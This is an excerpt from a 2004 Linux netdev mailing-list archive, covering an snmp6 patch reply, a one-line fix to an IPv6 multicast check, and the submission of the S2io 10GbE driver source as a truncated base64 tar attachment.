iD8DBQBAEU+mLhh1LVU8SusRArPKAJ9vUn+I2Do3fxBz9bXBNOulqREd9wCfW5cw XdttNRK8Yb8EgHpTypS6mkU= =P9LQ -----END PGP SIGNATURE----- --=-+b+o+Nauv6IRsJ8frHIt-- From xma@us.ibm.com Fri Jan 23 10:07:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 23 Jan 2004 10:07:52 -0800 (PST) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0NI7W7J018669 for ; Fri, 23 Jan 2004 10:07:39 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0NI6Db9479846; Fri, 23 Jan 2004 13:06:23 -0500 Received: from d03nm124.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0NI61sW124032; Fri, 23 Jan 2004 11:06:02 -0700 Importance: Normal Sensitivity: Subject: Re: [PATCH]snmp6 64-bit counter support in proc.c To: "David S. Miller" Cc: Krishna Kumar , kuznet@ms2.inr.ac.ru, mashirle@us.ibm.com, netdev@oss.sgi.com X-Mailer: Lotus Notes Release 5.0.11 July 24, 2002 Message-ID: From: Shirley Ma Date: Fri, 23 Jan 2004 10:06:00 -0800 X-MIMETrack: Serialize by Router on D03NM124/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/23/2004 11:06:01 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=08BBE4B7DFF0D7E08f9e8a93df938690918c08BBE4B7DFF0D7E0" Content-Disposition: inline X-archive-position: 2705 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xma@us.ibm.com Precedence: bulk X-list: netdev --0__=08BBE4B7DFF0D7E08f9e8a93df938690918c08BBE4B7DFF0D7E0 Content-type: text/plain; charset=US-ASCII > correctness > performance OK, I am fixing the reader and will resubmit it when next release is available. Thanks Shirley Ma IBM Linux Technology Center 15300 SW Koll Parkway Beaverton, OR 97006-6063 Phone: (503) 578-7638 FAX: (503) 578-3228 --0__=08BBE4B7DFF0D7E08f9e8a93df938690918c08BBE4B7DFF0D7E0 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

> correctness > performance

OK, I am fixing the reader and will resubmit it when next release is available.

Thanks
Shirley Ma
IBM Linux Technology Center
15300 SW Koll Parkway
Beaverton, OR 97006-6063
Phone: (503) 578-7638
FAX: (503) 578-3228
--0__=08BBE4B7DFF0D7E08f9e8a93df938690918c08BBE4B7DFF0D7E0-- From dlstevens@us.ibm.com Fri Jan 23 12:28:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 23 Jan 2004 12:28:54 -0800 (PST) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0NKSY7J026161 for ; Fri, 23 Jan 2004 12:28:41 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0NKRrb9143152; Fri, 23 Jan 2004 15:28:03 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0NKRgsV114934; Fri, 23 Jan 2004 13:27:43 -0700 Importance: Normal Sensitivity: Subject: Re: multicast loop with include filters fix [PATCH] To: davem@redhat.com Cc: netdev@oss.sgi.com, stevenh@xsmail.com X-Mailer: Lotus Notes Release 5.0.4a July 24, 2000 Message-ID: From: David Stevens Date: Fri, 23 Jan 2004 13:27:40 -0700 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/23/2004 13:27:43 MIME-Version: 1.0 Content-type: multipart/mixed; Boundary="0__=07BBE4B7DFFC7D368f9e8a93df938690918c07BBE4B7DFFC7D36" X-archive-position: 2706 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev --0__=07BBE4B7DFFC7D368f9e8a93df938690918c07BBE4B7DFFC7D36 Content-type: multipart/alternative; Boundary="1__=07BBE4B7DFFC7D368f9e8a93df938690918c07BBE4B7DFFC7D36" --1__=07BBE4B7DFFC7D368f9e8a93df938690918c07BBE4B7DFFC7D36 Content-type: text/plain; charset=US-ASCII Dave, I had a stupid typo in the v6 side of this patch, which reverses the sense of the check; here's a patch to fix the patch. Sorry about that. +-DLS --- linux-2.6.2-rc1F1/net/ipv6/mcast.c.orig 2004-01-23 12:10:55.615139688 -0800 +++ linux-2.6.2-rc1F1/net/ipv6/mcast.c 2004-01-23 12:11:15.477120208 -0800 @@ -918,7 +918,7 @@ break; } if (mc) { - if (ipv6_addr_any(src_addr)) { + if (!ipv6_addr_any(src_addr)) { struct ip6_sf_list *psf; spin_lock_bh(&mc->mca_lock); (See attached file: mldfix.patch) --1__=07BBE4B7DFFC7D368f9e8a93df938690918c07BBE4B7DFFC7D36 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

Dave,
I had a stupid typo in the v6 side of this patch, which
reverses the sense of the check; here's a patch to fix the patch.
Sorry about that.

+-DLS

--- linux-2.6.2-rc1F1/net/ipv6/mcast.c.orig 2004-01-23 12:10:55.615139688 -0800
+++ linux-2.6.2-rc1F1/net/ipv6/mcast.c 2004-01-23 12:11:15.477120208 -0800
@@ -918,7 +918,7 @@
break;
}
if (mc) {
- if (ipv6_addr_any(src_addr)) {
+ if (!ipv6_addr_any(src_addr)) {
struct ip6_sf_list *psf;

spin_lock_bh(&mc->mca_lock);

(See attached file: mldfix.patch)
--1__=07BBE4B7DFFC7D368f9e8a93df938690918c07BBE4B7DFFC7D36-- --0__=07BBE4B7DFFC7D368f9e8a93df938690918c07BBE4B7DFFC7D36 Content-type: application/octet-stream; name="mldfix.patch" Content-Disposition: attachment; filename="mldfix.patch" Content-ID: <10__=07BBE4B7DFFC7D368f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 LS0tIGxpbnV4LTIuNi4yLXJjMUYxL25ldC9pcHY2L21jYXN0LmMub3JpZwkyMDA0LTAxLTIzIDEy OjEwOjU1LjYxNTEzOTY4OCAtMDgwMAorKysgbGludXgtMi42LjItcmMxRjEvbmV0L2lwdjYvbWNh c3QuYwkyMDA0LTAxLTIzIDEyOjExOjE1LjQ3NzEyMDIwOCAtMDgwMApAQCAtOTE4LDcgKzkxOCw3 IEBACiAJCQkJYnJlYWs7CiAJCX0KIAkJaWYgKG1jKSB7Ci0JCQlpZiAoaXB2Nl9hZGRyX2FueShz cmNfYWRkcikpIHsKKwkJCWlmICghaXB2Nl9hZGRyX2FueShzcmNfYWRkcikpIHsKIAkJCQlzdHJ1 Y3QgaXA2X3NmX2xpc3QgKnBzZjsKIAogCQkJCXNwaW5fbG9ja19iaCgmbWMtPm1jYV9sb2NrKTsK --0__=07BBE4B7DFFC7D368f9e8a93df938690918c07BBE4B7DFFC7D36-- From leonid.grossman@s2io.com Fri Jan 23 13:45:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 23 Jan 2004 13:45:39 -0800 (PST) Received: from ns1.s2io.com (ns1.s2io.com [216.209.86.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0NLj37J028758 for ; Fri, 23 Jan 2004 13:45:05 -0800 Received: from guinness.s2io.com (gateway.s2io.com [216.209.86.98]) by ns1.s2io.com (8.12.10/8.12.10) with ESMTP id i0NLNnFG006661 for ; Fri, 23 Jan 2004 16:23:49 -0500 (EST) Received: from lgt40 ([10.16.16.115]) by guinness.s2io.com (8.12.6/8.12.6) with ESMTP id i0NLMqKK011990 for ; Fri, 23 Jan 2004 16:22:54 -0500 (EST) From: "Leonid Grossman" To: Subject: FW: Submission for S2io 10GbE driver Date: Fri, 23 Jan 2004 13:22:11 -0800 Message-ID: <002201c3e1f6$f97896e0$5d50ff11@S2IOtech.com> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0023_01C3E1B3.EB5556E0" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Importance: Normal X-Scanned-By: MIMEDefang 2.34 X-archive-position: 2707 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: leonid.grossman@s2io.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. ------=_NextPart_000_0023_01C3E1B3.EB5556E0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hi all, Please fund attached a source code for S2io 10GbE adapter (with some disclaimers below). Send me your comments/suggestions on the source please, and we will address the code changes (if any) in real time. Regards, Leonid Leonid Grossman Vice President, SW Engineering S2io Inc. www.s2io.com -----Original Message----- From: Leonid Grossman [mailto:leonid.grossman@s2io.com] Sent: Tuesday, January 20, 2004 8:13 PM To: 'Jeff Garzik' Subject: Submission for S2io 10GbE driver Hi Jeff, Per your suggestion, attached is the driver source. Couple disclaimers - 1. There are some history logs from our CVS at the end of the source files, you will probably want us to remove these. 2. We are working on adding more loadable tunable parameters. 3. This is a shipping (as of last October) card, and Linux driver got some reasonable mileage on 2.6 kernel and number of 2.4 distributions, mostly 2.4.21 based. Having said that, we still run performance and stress tests in QA since 10GbE is fairly new. All comments/suggestions are very welcome; let me know if you need anything besides the source from our end. Regards, Leonid > -----Original Message----- > From: Jeff Garzik [mailto:jgarzik@pobox.com] > Sent: Monday, January 12, 2004 1:36 PM > To: Leonid Grossman > Subject: Re: FW: Submission for 10GbE driver > > Just a suggestion, but it might be a good idea to email me > your driver > sooner than later. > > _Almost all_ drivers require changes before being submitting, so > delaying source release due to a Q/A cycle or similar is > probably just > wasting time, if the driver will likely have to be updated and > re-submitted, possibly several times. > > Don't let me scare you :) Going through 1-2 iterations > before a driver > passes review is normal for most vendors, particularly the first one. > The key is listening to kernel developers' feedback. > > Jeff > > > ------=_NextPart_000_0023_01C3E1B3.EB5556E0 Content-Type: application/octet-stream; name="xframe_rc1.65.tar" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="xframe_rc1.65.tar" Li8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAwNDA3NTUAMDAwMDAw MAAwMDAwMDAwADAwMDAwMDAwMDAwADEwMDAzMzcwNDE0ADAwNzcwNQAgNQAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB1c3RhciAgAHJvb3QAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAcm9vdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAu L0NWUy8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMDA0MDc1NQAwMDAwMDAw ADAwMDAwMDAAMDAwMDAwMDAwMDAAMTAwMDMzNjE2NTYAMDEwMzUwACA1AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHVzdGFyICAAcm9vdAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAByb290AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4v Q1ZTL1Jvb3QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwMTAwNjQ0ADAwMDAwMDAA MDAwMDAwMAAwMDAwMDAwMDA2NgAxMDAwMzM2MTY1NgAwMTEyMTUAIDAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdXN0YXIgIAByb290AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAHJvb3QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOnBz ZXJ2ZXI6cHBoYW5AMTcyLjEwLjEuMS9wcm9qZWN0cy94ZW5hL3N3L3JlcG9zaXRvcnkKAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAuL0NW Uy9SZXBvc2l0b3J5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMDEwMDY0NAAwMDAwMDAwADAw MDAwMDAAMDAwMDAwMDAwMzAAMTAwMDMzNjE2NTYAMDEyNDQwACAwAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHVzdGFyICAAcm9vdAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAByb290AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHMyaW8v bGludXgvbW9ub2xpdGgvc3JjCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALi9DVlMv RW50cmllcwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAxMDA2NDQAMDAwMDAwMAAwMDAw MDAwADAwMDAwMDAxMTAyADEwMDAzMzYxNjU2ADAxMTY3MwAgMAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB1c3RhciAgAHJvb3QAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAcm9vdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAvTWFrZWZp bGUvMS43L1R1ZSBPY3QgIDcgMTg6MDM6NDUgMjAwMy8vCi9SRUFETUUudHh0LzEuOS9UdWUgRGVj ICAyIDIwOjE3OjAwIDIwMDMvLwovZ2V0cnhkLzEuNS9XZWQgTm92IDE5IDA2OjU2OjU3IDIwMDMv LwovZ2V0c3RhdC8xLjEvRnJpIEp1biAxMyAxNzoyODoxNyAyMDAzLy8KL2dldHR4ZC8xLjEvRnJp IEp1biAxMyAxNzoyODoxNyAyMDAzLy8KL3JlZ2R1bXAuYy8xLjIvVHVlIE5vdiAgNCAwMjowNjo0 MCAyMDAzLy8KL3JlZ3MuaC8xLjIxL01vbiBKYW4gMTkgMDk6NTE6MDkgMjAwNC8vCi9zMmlvLmMv MS44OC9Nb24gSmFuIDE5IDIxOjEyOjQ0IDIwMDQvLwovczJpby5oLzEuNTMvVHVlIEphbiAyMCAw NToxNjowMSAyMDA0Ly8KL3N5c2N0bF94ZnJhbWUuY29uZi8xLjIvTW9uIEphbiAxOSAxODozNjoy MSAyMDA0Ly8KL3RhZ3MvMS4xMC9UdWUgSmFuIDEzIDEzOjEzOjE1IDIwMDQvLwovdHVuZV9kcml2 ZXIvMS4xL1R1ZSBKYW4gIDYgMjI6NDY6NDggMjAwNC8vCi91dGlsLmMvMS4xMi9UdWUgTm92ICA0 IDAyOjEwOjE0IDIwMDMvLwovdXRpbC5oLzEuNS9Nb24gRGVjICAxIDIyOjAzOjIzIDIwMDMvLwpE CgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALi9zMmlvLm1v ZC5jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAxMDA2NDQAMDAwMDAwMAAwMDAwMDAw ADAwMDAwMDA1MTQ0ADEwMDAzMzYzNjE2ADAxMTUxMgAgMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAB1c3RhciAgAHJvb3QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAcm9vdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAjaW5jbHVkZSA8 bGludXgvbW9kdWxlLmg+CiNpbmNsdWRlIDxsaW51eC92ZXJtYWdpYy5oPgojaW5jbHVkZSA8bGlu dXgvY29tcGlsZXIuaD4KCk1PRFVMRV9JTkZPKHZlcm1hZ2ljLCBWRVJNQUdJQ19TVFJJTkcpOwoK c3RhdGljIGNvbnN0IHN0cnVjdCBtb2R2ZXJzaW9uX2luZm8gX19fX3ZlcnNpb25zW10KX19hdHRy aWJ1dGVfXygoc2VjdGlvbigiX192ZXJzaW9ucyIpKSkgPSB7Cgl7IDB4MTM2MDUwM2IsICJzdHJ1 Y3RfbW9kdWxlIiB9LAoJeyAweDMyMDkzY2M3LCAiX191ZGl2ZGkzIiB9LAoJeyAweDRhNTQxZTJh LCAiX191bW9kZGkzIiB9LAoJeyAweDk4N2ZiNWFlLCAicGNpX3VucmVnaXN0ZXJfZHJpdmVyIiB9 LAoJeyAweGVkOWU1ODg5LCAicGNpX3JlZ2lzdGVyX2RyaXZlciIgfSwKCXsgMHhkMGRhYmIwMiwg ImZyZWVfbmV0ZGV2IiB9LAoJeyAweDNlMTc1YTA5LCAidW5yZWdpc3Rlcl9uZXRkZXYiIH0sCgl7 IDB4MWExMmI5YmIsICJwY2lfc2F2ZV9zdGF0ZSIgfSwKCXsgMHgxYmJlYzM2LCAicGNpX3JlbGVh c2VfcmVnaW9ucyIgfSwKCXsgMHhjN2VmMjg1ZCwgInBjaV9kaXNhYmxlX2RldmljZSIgfSwKCXsg MHhhMmFiMTllZiwgInJlZ2lzdGVyX25ldGRldiIgfSwKCXsgMHhlOTE0ZTQxZSwgInN0cmNweSIg fSwKCXsgMHg5M2JhMzM5MCwgInBjaV9zZXRfbWFzdGVyIiB9LAoJeyAweDQwOWEwNjEyLCAiYWxs b2NfZXRoZXJkZXYiIH0sCgl7IDB4YzA1Y2YyODksICJwY2lfcmVxdWVzdF9yZWdpb25zIiB9LAoJ eyAweDkxMmZmNWJjLCAicGNpX3NldF9jb25zaXN0ZW50X2RtYV9tYXNrIiB9LAoJeyAweGQ2ZGYw ZDZkLCAicGNpX3NldF9kbWFfbWFzayIgfSwKCXsgMHhmZWNkMDFiYSwgInBjaV9lbmFibGVfZGV2 aWNlIiB9LAoJeyAweGEyMjJjMzU5LCAicGNpX2J1c193cml0ZV9jb25maWdfYnl0ZSIgfSwKCXsg MHhmNThlYmRkMywgInBjaV9idXNfcmVhZF9jb25maWdfd29yZCIgfSwKCXsgMHgxMThhYWY1MCwg Il9fbmV0ZGV2X3dhdGNoZG9nX3VwIiB9LAoJeyAweGM5ZjYxZmY3LCAibGlua3dhdGNoX2ZpcmVf ZXZlbnQiIH0sCgl7IDB4ZDhhODlkYWMsICJuZXRpZl9yeCIgfSwKCXsgMHg4NjQ0NWFlZCwgImV0 aF90eXBlX3RyYW5zIiB9LAoJeyAweDhjZTE2YjNmLCAiX19rbWFsbG9jIiB9LAoJeyAweDM3YTBj YmEsICJrZnJlZSIgfSwKCXsgMHg2NWQwNzFhMiwgImttZW1fY2FjaGVfYWxsb2MiIH0sCgl7IDB4 NjExNmI1ZGQsICJtYWxsb2Nfc2l6ZXMiIH0sCgl7IDB4NjA2N2ExNDYsICJtZW1jcHkiIH0sCgl7 IDB4ZTUyNmYxMzYsICJfX2NvcHlfdXNlciIgfSwKCXsgMHhmNTU3MmE2NywgImRldl9yZW1vdmVf cGFjayIgfSwKCXsgMHg3NjczN2I1MCwgInNrYl9vdmVyX3BhbmljIiB9LAoJeyAweDg1M2EwNWFk LCAiZGV2X3F1ZXVlX3htaXQiIH0sCgl7IDB4YTVlY2Y5OWQsICJkZXZfYWRkX3BhY2siIH0sCgl7 IDB4ZTg3MzU4YzksICJwY2lfYnVzX3dyaXRlX2NvbmZpZ193b3JkIiB9LAoJeyAweGVhOWRkNTlh LCAicGNpX2J1c19yZWFkX2NvbmZpZ19ieXRlIiB9LAoJeyAweDM5MjFhNGZhLCAiZGVsX3RpbWVy X3N5bmMiIH0sCgl7IDB4ZDYyYzgzM2YsICJzY2hlZHVsZV90aW1lb3V0IiB9LAoJeyAweDQ0NTI0 NjQwLCAibW9kX3RpbWVyIiB9LAoJeyAweDdlYzliZmJjLCAic3RybmNweSIgfSwKCXsgMHhmOWM1 ODI4MSwgIl9fdGFza2xldF9zY2hlZHVsZSIgfSwKCXsgMHg5YzU2MzEyNywgIm1lbV9tYXAiIH0s Cgl7IDB4ZjIwZGFiZDgsICJmcmVlX2lycSIgfSwKCXsgMHg3NGUwNWQ4YywgInRhc2tsZXRfa2ls bCIgfSwKCXsgMHg2OTU3NWJjYywgInRhc2tsZXRfaW5pdCIgfSwKCXsgMHg1MTJmMTFiMCwgInJl cXVlc3RfaXJxIiB9LAoJeyAweGM3Yjk1NWE4LCAicGNpX3Jlc3RvcmVfc3RhdGUiIH0sCgl7IDB4 Njg3NjU4MWIsICJyYWlzZV9zb2Z0aXJxX2lycW9mZiIgfSwKCXsgMHg0YWJmMzY5ZiwgInBlcl9j cHVfX3NvZnRuZXRfZGF0YSIgfSwKCXsgMHg0ZGNlMTIxMywgInNiYV91bm1hcF9zaW5nbGUiIH0s Cgl7IDB4YTUxYjEwODQsICJzYmFfbWFwX3NpbmdsZSIgfSwKCXsgMHg5MDAxYWI1YiwgImFsbG9j X3NrYiIgfSwKCXsgMHg0YTIxYzY0NSwgIl9fa2ZyZWVfc2tiIiB9LAoJeyAweDU1M2UzZmY3LCAi aWE2NF9zcGlubG9ja19jb250ZW50aW9uX3ByZTNfNCIgfSwKCXsgMHhkYTAyZDY3LCAiamlmZmll 